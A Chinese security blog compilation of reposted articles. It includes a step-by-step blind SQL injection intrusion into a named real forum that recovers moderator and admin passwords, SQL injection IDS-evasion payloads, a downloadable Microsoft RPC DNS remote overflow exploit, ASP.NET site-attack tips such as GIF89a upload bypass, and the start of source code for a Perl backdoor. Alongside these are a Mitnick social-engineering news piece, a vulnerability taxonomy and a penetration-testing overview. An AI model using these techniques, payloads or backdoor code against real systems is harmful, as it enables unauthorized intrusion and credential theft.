关于SQL的一些技巧

 

利用最基本的SQL注入渗透BBSXP官方网站的台后管理  

来源:塞迪网社区
漏洞分析
序:

不过,我今天要为大家讲解的故事发现在网络当中.这次是一次非常,常见的sql渗透攻击.也是最基础的.
过程如下
:
1.
找出漏洞并分析漏洞
.
2.
利用漏洞,得到前台区长密码
.
3.
利用漏洞,得到后台密码
.
4.
添加公告,闪人
!

开始工作:


bbsxp官方网站下载最新的bbsxp

第一步:找出漏洞,并分析漏洞.这个漏洞存在于用户添加收藏功能中 相应的asp文件:favorites.asp
//*************************
源代码
***************************************************//
<%

if request.cookies("username")="" then
error("
您还还未登陆社区
")
end if

select case request("menu")
case "add"
if request.servervariables("request_method")="post" then
url=request("url")
else
url=request.servervariables("http_referer")
end if
conn.execute("insert into favorites(username,name,url)values("&request.cookies("username")&","&request("name")&","&url&")")
error2("
已经添加到网络收藏夹
!")

case "del"
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
end select
//***************************
后面的无用代码略掉
********************************//

看到代码了,首先要注册使用本功能
.
然后在这个asp文件中提交的参数有:menu,id就这两个值
.
大家看看,当提交的menu=del的时候。哈哈!调用的是什么?就是它,它就有漏洞。漏洞在哪里?

conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id="&request("id")&"")
提交的id值没有过滤直接加入到sql语句中了。


攻击演示

第二步,利用漏洞,得到前台管理员密码
.

接到上面的来。我们测试一下这个漏洞是不是存在
.
自己先添加一个收藏地址进去.得到收藏的id(我们得到的是576)

ie中提交.
http://bbs.yuzi.net/favori... and 1=1
提交到sql中,实际上就是:
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=1")
不用管那个request.cookies("username").他直接就等于你进来的用户名.
提交后,发现我们收藏的文件被del了。证明有这个漏洞,没有打上补丁。


现在我找到漏洞了,呵呵~!点支烟吧!!打开数据库查看数据库结构。
保存数据库的用户名字段为:username 密码字段为:userpass(注:密码是明码,没有经过任何加密)
我们现在就来得到一个区长的密码吧。在首页看到区长的名字有一个叫:kongweb
.

提交
http://bbs.yuzi.net/favori... and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)

呵呵,提交到sql中,又是什么呢?
conn.execute("delete from [favorites] where username="&request.cookies("username")&" and id=576 and 1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")

sql语句了解的战友们都知道,当where条件后面为真的情况下,才会执行这条语句!
执行这条语句的结果就是del一条自己的收藏地址,那么我们的
1=(select count(*) from [user] where username=kongweb and len(userpass)=5)")
如果为真的话就delid576的收藏地址.
看一下。这条语句,当用户名是kongweb,当密码长度为5的时候,就有一条记录返回。

count(*)
的意思就是返回满足条件的记录总数,刚好为1条。也就是说等式正立。
当然不成功,是不会del了收藏地址的。

最后我们改变长度值. 结果出来了当长度等于9的时候。del了收藏地址。
证明kongweb这个区长的密码为:9.
好了,我们开工吧, 我们来破他的第一位密码。不过我们在先破密码的时候,要多加点收藏地址。

因为正确一个就会del一个收藏地址。

采用提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=a)
这里说一个mid函数的用法:
mid(
字符串,起始位置,长度) 这是一个取字符串中特定位置,特定长度的一个函数.
我们mid(userpass,1,1)=a表示取出密码的第一位看是不是a 注:一定要加上单引号不错会出错
.

本来我打算用我写的破解程序的来直接破解的,不过我们连到他的bbs网站上特别的慢。也不知道为什么。

所以,程序半天都跑不出来。也就只有手工猜了.
第一位密码几分种后才猜出来。


当我们提交http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,1,1)=k) 的时候,我们del了,收藏地址id588的记录.
ie中没有看到那条记录了。证明成功了。好,现在换id值,取第二位
.
http://..../favorites.asp?... and 1=(select count(*) from [user] where username=kongweb and mid(userpass,2,1)=d)
就这样重复的提交和修改,最后得出密码是:kdjkdjkdj

这里来介绍一下简单的方法,可以用取字符asc码的办法缩小范围的。

http://..... and 1=(select count(*) from [user] where username=kongweb and asc(mid(userpass,1,1))>100)
如果成立就del收藏.证明第一个字符的asc码大于100
相反,你也可以这样测试:..asc(mid(userpass,1,1))<105
如果正确,那么这个字符的asc码就是:100-105之间了。最后确定,比如:当
asc(mid(userpass,1,1))=103
如果del了收藏,就得到这个字符的asc码了。再用相应的工具转成e文母就ok了。[我写了有这样的程序,要的朋友请与我联系
]
这里没有用这种方法,是因为这里要添加太多的收藏地址才行。因为用范围去比较的话,正立的机会很大,当成立就会del收藏的。所以我们还是一位一位的取吧。

添加收藏也慢得要死。
好了,看来第二步的任务已经完成了。我们得到了区长:kongweb 密码:kdjkdjkdj

第三步:得到后台管理密码
;

看一下他的库结构,发现了clubconfig这个表中有一个字段叫:adminpassword是用来保存密码字段的.并且也是明密保存的
.
我们要的就是他。我们就要取到这个字段的值
.
这个库中一般都就只有一条记录。所以他的count(*) 也就只有一条
.

再次利用我们第二步的漏洞.进行猜解
.
一样的办法。得到后台密码长度为:9
.
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where len(adminpassword)=9)
刚好正确。
想到了,刚才前台的密码也是9位。不会前台和后台的密码相同吧,测试一下。结果不正确。和前台的密码不一样。也只有慢慢的猜了。

猜第一位:
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,1,1)=b)
ok
。第一位出来了。
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,2,1)=b)
ok.
第二位也出来了。前两位是bb.

呵呵,你的社会工程学,学得怎么样啊??联想一下。我们想到了bbs呵呵,我们想到前三位可能是bbs试试吧!

http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where mid(adminpassword,3,1)=s)
太对了。再发挥你的社会工程学方面的功能。又想到了bbsxp因为他是的网站开发的产品嘛。一般人都是这样的。试试。

现在我们用left函数取前5
说明一个函数:left(字符串,长度)就是从字符串第一位开始,取长度个值
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where left(adminpassword,5)=bbsxp)
又对了。呵呵,还有四位,想不出来了。我们又破到了两位.
前七位就是:bbsxpco还有两位了。想一下。co加两位什么好呢?呵呵,社会工程学,学得没有别人好啊。

兄弟们都想了好久,最后想到了cool试试吧!!!
最了,最后居然对了。就是cool密码就是:bbsxpcool
http://bbs.yuzi.net/favori... and 1=(select count(*) from [clubconfig] where adminpassword=bbsxpcool)

现在有前台的账号,和后台的密码。进去发布公告吧!

第四步:发布公告
.
进入后台我们发布了记他注意脚本安全的公告,然后闪人
!


结束句:

前段时间测试动网官方论坛,也一样的有漏洞,今天测试bbsxp还有这么低级的错误,我们在这里先向我们入侵过的动网,以及bbsxp道歉!
我们并不是恶意的攻击,我们只是为了网络更加安全,测试了一下你们的论坛!希望你们以后会写得更好!
我们也一样会努力认真的再次对你们的论坛进行测试的。

 

(字节数 : 7011)

 

SQL Injection规避入侵检测技术总结   

当我们对一个运行IDS系统的服务器进行SQL注射时,我们往往会遇到很大的麻烦,因为我们的注射语句被过滤了,如何规避这种检测手段就成了一门新的技术,本文就对此规避技术提出十一条思路和方法,与大家商戳。
一、 运用编码技术绕过,如URLEncode编码,ASCII编码绕过。
or 1=1%6f%72%20%31%3d%31
Test
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
二、 通过空格绕过,如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or’swords’=‘swords’,由于mssql的松散性,我们可以把or ‘swords’之间的空格去掉,并不影响运行。

三、 运用字符串判断代替经典的or 1=1判断绕过,or ‘swords’=‘swords’
四、 通过类型转换修饰符N绕过,如or ‘swords’ = N’swords’,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS

五、 通过+号拆解字符串绕过,
or ‘swords’=‘sw’+’ords’
EXEC(‘IN’+’SERT INTO ‘+’…..’)
六、 通过LIKE绕过,如
or ‘swords’ LIKE ‘sw’
七、 通过IN绕过,
or ‘swords’ IN (‘swords’)
八、 通过BETWEEN绕过,
or ‘swords’ BETWEEN ‘rw’ AND ‘tw’
九、 通过>或者<绕过,如

or ‘swords’>‘sw’
or ‘swords’<‘tw’
or 1<3
十、 运用注释语句绕过:
/**/代替空格,如:

UNION /**/ Select /**/user
pwdfrom tbluser
/**/分割敏感词,如:

U/**/ NION /**/ SE/**/ LECT /**/user
pwd from tbluser
十一、 用HEX绕过,一般的IDS都无法检测出来。

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
以上的十一条SQL Injection规避入侵检测技术供您参考。

 

(字节数 : 1414)

 

著名黑客称防攻击最好武器是人而不是技术

对于关注安全问题的朋友来说,凯文·米特尼克(Kevin Mitnick)的名字应该是大名鼎鼎的了。在今年的Citrix iForum上,这位世界头号黑客谈了他对于安全问题的一些看法,并提出了一些自己的建议。他认为,应付针对敏感信息的社会工程攻击的最好武器是训练有素的人,而不是技术。 O ij S*/4
2w7$g4 0SY
      
米特尼克在疯狂地进行了两年的黑客活动后,在联邦监狱度过了五年的岁月,同时禁止上网八年。现在,他要给曾经攻击过的公司提建议了。 }: s6eq> 2
GT9:YQ Ml'
  他说:人们通常习惯于用技术来解决问题,但社会工程学(social engineering)绕过了所有技术,包括防火墙。技术很关键,但我们更应该看重人和方法。社会工程学是一种利用诱惑策略的攻击方式。它不单单是个技术性问题,更是关于人的问题。 w4:llu>&S\
@- =>7;8nh
  那么黑客们为什么要使用社会工程学方式?因为这比寻找技术漏洞更简单。互联网是如此宽广,而社会工程学无需花费或者花费很低,没什么风险,可以避开所有的防护系统,在任何操作系统上都能进行,不会留下犯罪痕迹,几乎百分之百有效,而且人们还没有普遍意识到这个问题。它可以很简单,也可以很复杂;可以只花几分钟时间,也可以花上好几年。 v- "0`5Gn>
gVqd X j
  苦心积虑的借口或者托辞是社会工程学的关键所在,因为人们需要有合理的理由才能去满足一个请求。 h
DMpXgX*~:q
  为了达到目的,黑客们会给自己定义一个身份或者角色,带着和善的面孔去和人联系,慢慢诱惑对方步入自己的圈套。不过他们不会直接下狠手,总是会留下余地,免得一无所获。 LS0#a*\
(M LG' *i5
  米特尼克还讲述了自己如何利用社会工程学从银行里提取数百万美元以及如何利用摩托罗拉研发部门的一个雇员盗取其手机源代码的经历。 !0E[x:G m

0& _ AHv
  不过,米特尼克表示自己也不能摆脱社会工程学的束缚:今年早些时候他就收到一封钓鱼式”E-mail,让他泄漏了自己的PayPal帐户信息。
I7 ZkMCaS?
  为了对抗社会工程攻击,米特尼克认为必须组建由人组成的防火墙,并且抛弃刀枪不入之类的幻想。他对公司的建议是:建立雇员参与机制,制定简单的规则,确定什么是敏感信息,组建由人组成的防火墙,提高安全意识。 5X\9/y]O _
d 5zR !
  最后,米特尼克表达了自己的一点期望:攻击是真实的,威胁也是真实的,所以我希望每个人都行动起来,做点儿什么。

 

(字节数 : 1953)

安全漏洞杂谈

·  作者:watercloud

·  来自:xfocus

·  更新:20061129日  

·   

·  目录:
   
一、不同角度看安全漏洞的分类
    
   
二、不同角度看待漏洞利用
    
   
三、漏洞发掘方法
    
   
四、漏洞等级评定
    
   
五、
DEMO    
   
参考
    


   
     
网络安全的核心目标是保障业务系统的可持续性和数据的安全性,而这两点的主要威胁来自于蠕虫的暴发、黑客的攻击、拒绝服务攻击、木马。蠕虫、黑客攻击问题都和漏洞紧密联系在一起,一旦有重大安全漏洞出现,整个互联网就会面临一次重大挑战。虽然传统木马和安全漏洞关系不大,但最近很多木马都巧妙的利用了IE的漏洞,让你在浏览网页时不知不觉的就中了招。

     
安全漏洞的定义已经有很多了,我这里给出一个通俗的说法就是:能够被利用来干原本以为不能干的事,并且和安全相关的缺陷。这个缺陷可以是设计上的问题、程序代码实现上的问题。
   
一、不同角度看安全漏洞的分类
   
   
   
对一个特定程序的安全漏洞可以从多方面进行分类。
   
    1.
从用户群体分类:
      ●
大众类软件的漏洞。如Windows的漏洞、IE的漏洞等等。
      ●
专用软件的漏洞。如Oracle漏洞、Apache漏洞等等。
   
   
    2.
从数据角度看分为:
      ●
能读按理不能读的数据,包括内存中的数据、文件中的数据、用户输入的数据、数据库中的数据、网络上传输的数据等等。
      ●
能把指定的内容写入指定的地方(这个地方包括文件、内存、数据库等)
      ●
输入的数据能被执行(包括按机器码执行、按Shell代码执行、按SQL代码执行等等)
   
    3.
从作用范围角度看分为:
      ●
远程漏洞,攻击者可以利用并直接通过网络发起攻击的漏洞。这类漏洞危害极大,攻击者能随心所欲的通过此漏洞操作他人的电脑。并且此类漏洞很容易导致蠕虫攻击,在Windows
      ●
本地漏洞,攻击者必须在本机拥有访问权限前提下才能发起攻击的漏洞。比较典型的是本地权限提升漏洞,这类漏洞在Unix系统中广泛存在,能让普通用户获得最高管理员权限。
   
    4.
从触发条件上看可以分为:
      ●
主动触发漏洞,攻击者可以主动利用该漏洞进行攻击,如直接访问他人计算机。
      ●
被动触发漏洞,必须要计算机的操作人员配合才能进行攻击利用的漏洞。比如攻击者给管理员发一封邮件,带了一个特殊的jpg图片文件,如果管理员打开图片文件就会导致看图软件的某个漏洞被触发,从而系统被攻击,但如果管理员不看这个图片则不会受攻击。
   
    5.
从操作角度看可分为:
      ●
文件操作类型,主要为操作的目标文件路径可被控制(如通过参数、配置文件、环境变量、符号链接灯),这样就可能导致下面两个问题:
        ◇
写入内容可被控制,从而可伪造文件内容,导致权限提升或直接修改重要数据(如修改存贷数据),这类漏洞有很多,如历史上Oracle TNS LOG文件可指定漏洞,可导致任何人可控制运行Oracle服务的计算机;
        ◇
内容信息可被输出,包含内容被打印到屏幕、记录到可读的日志文件、产生可被用户读的core文件等等,这类漏洞在历史上Unix系统中的crontab子系统中出现过很多次,普通用户能读受保护的shadow文件;
      ●
内存覆盖,主要为内存单元可指定,写入内容可指定,这样就能执行攻击者想执行的代码(缓冲区溢出、格式串漏洞、PTrace漏洞、历史上Windows2000的硬件调试寄存器用户可写漏洞)或直接修改内存中的机密数据。
      ●
逻辑错误,这类漏洞广泛存在,但很少有范式,所以难以查觉,可细分为:
        ◇
条件竞争漏洞(通常为设计问题,典型的有Ptrace漏洞、广泛存在的文件操作时序竞争)
        ◇
策略错误,通常为设计问题,如历史上FreeBSDSmart IO漏洞。
        ◇
算法问题(通常为设计问题或代码实现问题),如历史上微软的Windows 95/98的共享口令可轻易获取漏洞。
        ◇
设计的不完善,如TCP/IP协议中的3步握手导致了SYN FLOOD拒绝服务攻击。
        ◇
实现中的错误(通常为设计没有问题,但编码人员出现了逻辑错误,如历史上博彩系统的伪随机算法实现问题)
   
      ●
外部命令执行问题,典型的有外部命令可被控制(通过PATH变量,输入中的SHELL特殊字符等等)和SQL注入问题。
   
    6.
从时序上看可分为:
      ●
已发现很久的漏洞:厂商已经发布补丁或修补方法,很多人都已经知道。这类漏洞通常很多人已经进行了修补,宏观上看危害比较小。
      ●
刚发现的漏洞:厂商刚发补丁或修补方法,知道的人还不多。相对于上一种漏洞其危害性较大,如果此时出现了蠕虫或傻瓜化的利用程序,那么会导致大批系统受到攻击。
      ●0day
:还没有公开的漏洞,在私下交易中的。这类漏洞通常对大众不会有什么影响,但会导致攻击者瞄准的目标受到精确攻击,危害也是非常之大。
   
二、不同角度看待漏洞利用


   
如果一个缺陷不能被利用来干原本不能干的事(安全相关的),那么就不能被称为安全漏洞,所以安全漏洞必然和漏洞利用紧密联系在一起。
   
漏洞利用的视角有:
      ●
数据视角:访问本来不可访问的数据,包括读和写。这一条通常是攻击者的核心目的,而且可造成非常严重的灾难(如银行数据可被人写)。
      ●
权限视角:主要为权限绕过或权限提升。通常权限提升都是为了获得期望的数据操作能力。
      ●
可用性视角:获得对系统某些服务的控制权限,这可能导致某些重要服务被攻击者停止而导致拒绝服务攻击。
      ●
认证绕过:通常利用认证系统的漏洞而不用受权就能进入系统。通常认证绕过都是为权限提升或直接的数据访问服务的。
      ●
代码执行角度:主要是让程序将输入的内容作为代码来执行,从而获得远程系统的访问权限或本地系统的更高权限。这个角度是SQL注入、内存指针游戏类漏洞(缓冲区溢出、格式串、整形溢出等等)等的主要驱动。这个角度通常为绕过系统认证、权限提升、数据读取作准备的。
   
   
三、漏洞发掘方法


   
首先必须清除安全漏洞是软件BUG的一个子集,一切软件测试的手段都对安全漏洞发掘实用。现在黑客用的各种漏洞发掘手段里有模式可循的有:
    ●fuzz
测试(黑盒测试),通过构造可能导致程序出现问题的方式构造输入数据进行自动测试。
    ●
源码审计(白盒测试),现在有了一系列的工具都能协助发现程序中的安全BUG,最简单的就是你手上最新版本的C语言编译器。
    ●IDA
反汇编审计(灰盒测试),这和上面的源码审计非常类似,唯一不同的是很多时候你能获得软件,但你无法拿到源码来审计,但IDA是一个非常强大的反汇编平台,能让你基于汇编码(其实也是源码的等价物)进行安全审计。
    ●
动态跟踪分析,就是记录程序在不同条件下执行的全部和安全问题相关的操作(如文件操作),然后分析这些操作序列是否存在问题,这是竞争条件类漏洞发现的主要途径之一,其他的污点传播跟踪也属于这类。
    ●
补丁比较,厂商的软件出了问题通常都会在补丁中解决,通过对比补丁前后文件的源码(或反汇编码)就能了解到漏洞的具体细节。
   
以上手段中无论是用哪种都涉及到一个关键点:需要通过人工分析来找到全面的流程覆盖路径。分析手法多种多样,有分析设计文档、分析源码、分析反汇编代码、动态调试程序等。

   
四、漏洞等级评定


   
考察漏洞的危害性应该紧密的和利用该漏洞带来的危害相关,并不是通常大家认识的所有缓冲区溢出漏洞都是高危漏洞。以远程漏洞为例,比较好的划分方法为:
    1  
可远程获取OS、应用程序版本信息。
    2  
开放了不必要或危险得服务,可远程获取系统敏感信息。
    3  
可远程进行受限的文件、数据读取。
    4  
可远程进行重要或不受限文件、数据读取。
    5  
可远程进行受限文件、数据修改。
    6  
可远程进行受限重要文件、数据修改。
    7  
可远程进行不受限得重要文件、数据修改,或对普通服务进行拒绝服务攻击。
    8  
可远程以普通用户身份执行命令或进行系统、网络级的拒绝服务攻击。
    9  
可远程以管理用户身份执行命令(受限、不太容易利用)。
    10  
可远程以管理用户身份执行命令(不受限、容易利用)。
   
   
本地漏洞几乎都是导致代码执行,归入上面的10分制可以为:
    5  
远程主动触发代码执行(IE的漏洞
).
    6  
远程被动触发代码执行(Word漏洞/看图软件漏洞
).


五、
DEMO


   
一个防火墙隔离(只允许运维部的人访问)的网络里运行一台Unix服务器;操作系统中只有root用户和oracle用户可登陆,操作系统中运行了Apachenobody权限)、Oracleoracle用户权限)等服务。

   
一个攻击者的目的是修改Oracle数据库中的帐单表的数据。
   
其可能的攻击步骤为:
    ●1.
接入运维部的网络,获得一个运维部的IP地址从而能通过防火墙访问被保护的Unix服务器。
    ●2.
利用Apache服务的某远程缓冲区溢出漏洞直接获得一个nobody权限的shell访问。
    ●3.
利用操作系统某suid程序的漏洞将自己的权限提升到root权限。
    ●4.
Oraclesysdba登陆进入数据库(本地登陆不需要密码)。
    ●5.
修改目标表的数据。
   
   
以上5个过程分析下来为:
    ●
1步:认证绕过
    ●
2步:远程漏洞、代码执行(机器码)、认证绕过
    ●
3步:权限提升、认证绕过
    ●
4步:认证绕过
    ●
5步:数据写
   
   
参考


   
文摘--《从一个漏洞谈到ptrace的漏洞发现及利用方法》:
   http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1795
   
历史上的漏洞库资料:
   http://www.nsfocus.net/index.php?act=sec_bug
   http://www.securityfocus.com/archive/1
    IDA Pro
为商用反汇编软件,官方网站为:
   http://www.datarescue.com/idabase/index.htm
   
--《网络渗透技术》:
   http://www.china-pub.com/computers/common/info.asp?id=24504
   
绿盟科技-极光远程安全评估系统评估标准:
   
http://www.nsfocus.com

 

(字节数 : 8145)

 

渗透测试中的攻与守 [转贴 2007-04-25 21:28:35]  

渗透测试(Penetration Test)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试能够直观的让管理人员知道自己网络所面临的问题。

实际上渗透测试并没有严格的分类方式,即使在软件开发生命周期中,也包含了渗透测试的环节: 但根据实际应用,普遍认同的几种分类方法如下:

  根据渗透方法分类

  黑箱测试

  黑箱测试又被称为所谓的“Zero-Knowledge Testing”,渗透者完全处于对系统一无所知的状态,通常这类型测试,最初的信息获取来自于DNSWebEmail及各种公开对外的服务器。

  白盒测试

  白盒测试与黑箱测试恰恰相反,测试者可以通过正常渠道向被测单位取得各种资料,包括网络拓扑、员工资料甚至网站或其它程序的代码片断,也能够与单位的其它员工(销售、程序员、管理者……)进行面对面的沟通。这类测试的目的是模拟企业内部雇员的越权操作。

  隐秘测试

  隐秘测试是对被测单位而言的,通常情况下,接受渗透测试的单位网络管理部门会收到通知:在某些时段进行测试。因此能够监测网络中出现的变化。但隐秘测试则被测单位也仅有极少数人知晓测试的存在,因此能够有效地检验单位中的信息安全事件监控、响应、恢复做得是否到位。

  根据渗透目标分类

  主机操作系统渗透

  对WindowsSolarisAIXLinuxSCOSGI等操作系统本身进行渗透测试。

  数据库系统渗透

  对MS-SQLOracleMySQLInformixSybaseDB2等数据库应用系统进行渗透测试。

  应用系统渗透

  对渗透目标提供的各种应用,如ASPCGIJSPPHP等组成的WWW应用进行渗透测试。

  网络设备渗透

  对各种防火墙、入侵检测系统、网络设备进行渗透测试。

  从攻方视角看渗透

  攻方既包括了潜在的黑客、入侵者,也可能是经过企业授权的安全专家。在很多黑客的视角中,世界上永远没有不可能渗透的目标,差别仅在时间和耐性上。

  目前我们仅仅从授权渗透的角度来讨论渗透测试的攻击路径及可能采用的技术手段。

  测试目标不同,涉及需要采用的技术也会有一定差异,因此下面简单说明在不同位置可能采用的技术。

  内网测试

  内网测试指的是渗透测试人员由内部网络发起测试,这类测试能够模拟企业内部违规操作者的行为。最主要的优势是绕过了防火墙的保护。内部主要可能采用的渗透方式:远程缓冲区溢出,口令猜测,以及B/SC/S应用程序测试(如果涉及C/S程序测试,需要提前准备相关客户端软件供测试使用)。

  外网测试

  外网测试指的是渗透测试人员完全处于外部网络(例如拨号、ADSL或外部光纤),模拟对内部状态一无所知的外部攻击者的行为。包括对网络设备的远程攻击,口令管理安全性测试,防火墙规则试探、规避,Web及其它开放应用服务的安全性测试。

  不同网段/Vlan之间的渗透

  这种渗透方式是从某内/外部网段,尝试对另一网段/Vlan进行渗透。这类测试通常可能用到的技术包括:对网络设备的远程攻击;对防火墙的远程攻击或规则探测、规避尝试。

  渗透测试的流程图如图2所示。

  信息的收集和分析伴随着每一个渗透测试步骤,每一个步骤又有三个组成部分:操作、响应和结果分析。

  端口扫描

  通过对目标地址的TCP/UDP端口扫描,确定其所开放的服务的数量和类型,这是所有渗透测试的基础。通过端口扫描,可以基本确定一个系统的基本信息,结合安全工程师的经验可以确定其可能存在,以及被利用的安全弱点,为进行深层次的渗透提供依据。

  远程溢出

  这是当前出现的频率最高、威胁最严重,同时又是最容易实现的一种渗透方法,一个具有一般网络知识的入侵者就可以在很短的时间内利用现成的工具实现远程溢出攻击。

  对于防火墙内的系统同样存在这样的风险,只要对跨接防火墙内外的一台主机攻击成功,那么通过这台主机对防火墙内的主机进行攻击就易如反掌。

  口令猜测

  口令猜测也是一种出现概率很高的风险,几乎不需要任何攻击工具,利用一个简单的暴力攻击程序和一个比较完善的字典,就可以猜测口令。

  对一个系统账号的猜测通常包括两个方面:首先是对用户名的猜测,其次是对密码的猜测。

  本地溢出

  所谓本地溢出是指在拥有了一个普通用户的账号之后,通过一段特殊的指令代码获得管理员权限的方法。使用本地溢出的前提是首先要获得一个普通用户密码。也就是说由于导致本地溢出的一个关键条件是设置不当的密码策略。

  多年的实践证明,在经过前期的口令猜测阶段获取的普通账号登录系统之后,对系统实施本地溢出攻击,就能获取不进行主动安全防御的系统的控制管理权限。

  脚本及应用测试

  eb脚本及应用测试专门针对Web及数据库服务器进行。根据最新的技术统计,脚本安全弱点为当前Web系统,尤其是存在动态内容的Web系统比较严重的安全弱点之一。利用脚本相关弱点轻则可以获取系统其他目录的访问权限,重则将有可能取得系统的控制权限。因此对于含有动态页面的Web、数据库等系统,Web脚本及应用测试将是必不可少的一个环节。在Web脚本及应用测试中,可能需要检查的部份包括:

  检查应用系统架构,防止用户绕过系统直接修改数据库;

  检查身份认证模块,用以防止非法用户绕过身份认证;

  检查数据库接口模块,用以防止用户获取系统权限;

  检查文件接口模块,防止用户获取系统文件;

  检查其他安全威胁;

  无线测试

 中国的无线网络还处于建设时期,但是由于无线网络的部署简易,在一些大城市的普及率已经很高了。北京和上海的商务区至少80%的地方都可以找到接入点。

  通过对无线网络的测试,可以判断企业局域网安全性,已经成为越来越重要的渗透测试环节。

  除了上述的测试手段外,还有一些可能会在渗透测试过程中使用的技术,包括:社交工程学、拒绝服务攻击,以及中间人攻击。

  从守方视角看渗透

  当具备渗透测试攻击经验的人们站到系统管理员的角度,要保障一个大网的安全时,我们会发现,需要关注的问题是完全不同的:从攻方的视角看,是攻其一点,不及其余,只要找到一点漏洞,就有可能撕开整条战线;但从守方的视角看,却发现往往千里之堤,毁于蚁穴。因此,需要有好的理论指引,从技术到管理都注重安全,才能使网络固若金汤。

  渗透测试的必要性

  渗透测试利用网络安全扫描器、专用安全测试工具和富有经验的安全工程师的人工经验对网络中的核心服务器及重要的网络设备,包括服务器、网络设备、防火墙等进行非破坏性质的模拟黑客攻击,目的是侵入系统并获取机密信息并将入侵的过程和细节产生报告给用户。

  渗透测试和工具扫描可以很好的互相补充。工具扫描具有很好的效率和速度,但是存在一定的误报率和漏报率,并且不能发现高层次、复杂、并且相互关联的安全问题;渗透测试需要投入的人力资源较大、对测试者的专业技能要求很高(渗透测试报告的价值直接依赖于测试者的专业技能),但是非常准确,可以发现逻辑性更强、更深层次的弱点。

  微软在其IT攻击和渗透测试团队的任务描述中提到,他们内部有一支渗透测试团队,日常的工作流程如下:

  时间选择

  为减轻渗透测试对网络和主机的影响,渗透测试时间尽量安排在业务量不大的时段或晚上。

  策略选择

为防止渗透测试造成网络和主机的业务中断,在渗透测试中不使用含有拒绝服务的测试策略

  授权渗透测试的监测手段

  在评估过程中,由于渗透测试的特殊性,用户可以要求对整体测试流程进行监控(可能提高渗透测试的成本)。

  测试方自控

  由渗透测试方对本次测透测试过程中的三方面数据进行完整记录:操作、响应、分析,最终形成完整有效的渗透测试报告提交给用户。

  用户监控

  用户监控有四种形式,其一全程监控:采用类似Ethereal的嗅探软件进行全程抓包嗅探;其二择要监控:对扫描过程不进行录制,仅仅在安全工程师分析数据后,准备发起渗透前才开启软件进行嗅探;其三主机监控:仅监控受测主机的存活状态,避免意外情况发生;其四指定攻击源:用户指定由特定攻击源地址进行攻击,该源地址的主机由用户进行进程、网络连接、数据传输等多方监控。 

  


 
          图1:软件开发的生命周期及渗透测试的地位
 


 
          图2:渗透测试技术流程图
 
  


          图3微软IT攻击与渗透团队工作流程

  备注:网络信息搜集

  使用PING SweepDNS SweepSNMP SweepTracert等手段对主机存活情况、DNS名、网络链路等进行信息收集。可以对目标的网络情况、拓扑情况、应用情况有一个大致的了解,为更深层次的渗透测试提供资料。

  保守策略选择

  对于不能接受任何可能风险的主机系统,如银行票据核查系统,电力调度系统等,可选择如下保守策略:

  1)复制一份目标环境,包括硬件平台操作系统,数据库管理系统,应用软件等。

  2)对目标的副本进行渗透测试。

 

(字节数 : 8094)

 

Cisco仿真模拟器下载

DynamipsGui 2.3

下载地址:http://dc27.4shared.com/download/12358527/2b967339/DynamipsGUI_23_CN.exe?tsid=20070319-004219-7dc3c20d

Cisco IOS

下载地址:http://bzzjh.4shared.com/

secure CRT 5.1

下载地址:http://www.521n.com/Software/Catalog24/820.html

 

(字节数 : 399)

 

Microsoft RPC DNS 远程溢出EXP

Usage:    dnstest -h 127.0.0.1 (Universal local exploit)
             dnstest -h host [-t id] [-p port]

编译好的


dnstest.rar

 

(字节数 : 784)

 

谈谈对入侵ASP.net网站的经验

高手请勿看,对一般遇到.net的网站时
通常会注册个用户
第一选择利用上传判断的漏洞 加图片头GIF89A 顺利饶过



第二种就是注入了, ?id=xx后加单引号 " ' "
一般情况下 用NBSI DSCAN 都可以发现BUG页面

而且国内大多.net都是使用MSSQL数据库
发现注入点也可以从login下手 其实这个方法目前的成功率在75%



不过遇到搜索型的,和没错误信息回显的时候在这里就卡住了
大家可以看看网上一篇 搜索型注入的文章 运气好,数据库和WEB在一起
直接在搜索里写备份LOG语句 如果输入框限制字符 可以本地做个POST表单
也可以用WsockExpert抓包 对search.aspx?后的值分析后加注入语句
获取路径就更好办了 只要web.config
代码如下:





'
这里为off就失败



那么只需要在任意一个文件名前
h4x0r.aspx 改为~h4x0r.aspx 顺利获得WEB绝对路径



以上几点就是我搞.net站的经验了. 希望给一些新手们一个帮助
没什么技术含量..

 

(字节数 : 1724)

 

简单后门脚本 - iBackdoor v0.1 Options

一、Information

1、可用perl2exe转化为exe可执行文件;
2
、支持多客户连接,默认监听端口为23

3
、提供一个简单的密码验证,默认密码为123456

二、Source Code

#!C:\Perl\bin\perl.exe
#iBackdoor v0.1, by i_am_j
...@msn.com
use strict;

use IO::Socket;
use IO::Select;
use Getopt::Std;
use POSIX qw(strftime WNOHANG);

use constant FOREVER   => 1;
use constant BUFSIZE   => 1024;
use constant PROMPT    => "iBackdoor> ";
use constant PASSWORD => "123456";

$SIG{CHLD} = sub {
     while(waitpid(-1, WNOHANG) > 0) { }

 

};

my %opts;
getopts('hl:p:', \%opts);

print_help() and exit if(defined($opts{'h'}));
print_help();

my $listen_port = (defined($opts{'l'})) ? $opts{'l'} : 23;
my $password = (defined($opts{'p'})) ? $opts{'p'} : PASSWORD;

my $banner;
$banner = "\t++------------------------------++\n";
$banner.= "\t|| iBackdoor v0.1, by i_am_jojo ||\n";
$banner.= "\t++------------------------------++\n";

my $trans_serv = getprotobyname('tcp');

